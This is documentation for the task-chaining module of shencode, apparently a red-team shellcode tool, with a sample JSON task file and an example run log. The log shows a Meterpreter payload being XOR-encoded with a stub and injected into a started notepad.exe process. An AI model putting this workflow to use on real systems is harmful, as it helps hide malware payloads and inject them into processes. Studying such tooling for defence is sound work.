Task Module
Description
The task module has the power to automate shencode by chaining commands.
Command
shencode core task [-h] [-i INPUT]
options:
-h, --help show this help message and exit
-i, --input Input task file
Build a task
To build a task, you have create a json file, which holds the arguments for the needed modules. An overview of all arguments will follow soon.
{
"task": {
"name": "Task Engine File", // name your task
"scheme": "V1", // internal use
"single_step": null, // if you want to execute only one module for testing, name it here
"modules": {
"aes": { // Module 1
"args": {
"mode": "encode",
"input": "calc.raw",
"output": "", // no output needed, because it will be redirected to the next module
"key": "shenpa$$"
},
"input_buffer": false,
"return_buffer": true // redirect the output
},
"output": { // Module 2
"args": {
"input": "", // input is given from the previous module
"syntax": "inspect",
"bytes_per_row": 16,
"decimal": true,
"lines": null,
"no_line_break": false,
"range": [0, 0],
"output": null
},
"input_buffer": true, // redirect the previous buffer to the input variable
"return_buffer": false
}
}
}
}
Example output
shencode core task -i bytebert.json
[TASKS]-[0.0.5]
[*] Task file ok
[*] Starting Task: Test Modules
[ByteBERT-ENC]-[0.2.3]
[*] Random key: 14 (0xe)
[*] Payload size: 203846
[+] File meterpreter.bin loaded
[*] Size of shellcode 203846 bytes
[*] Hash: f669705d675cc9abcd49be6173957dcf913daf9b
[*] Stub generated with a size of 1905 bytes
[*] XORed payload added!
[+] File created in 0-sc.bb
[*] Hash: bc6ffaaf182dc3c6bb98ccffba0b839a6cb4ff74
[*] Try to compile object file
[+] File 0-sc.o created
[*] Size of shellcode 204323 bytes
[*] Hash: cfb00a42df69874542e46c16aa18032055fb02c7
[+] DONE!
[INJECTION]-[2.1.2]
[*] starting notepad.exe
[+] notepad.exe process id: 17500
[+] Opened a Handle to the process
[+] Allocated Memory in the process
[+] Wrote The shellcode to memory
[+] Injected the shellcode into the process
[+] DONE!
[+] Task DONE!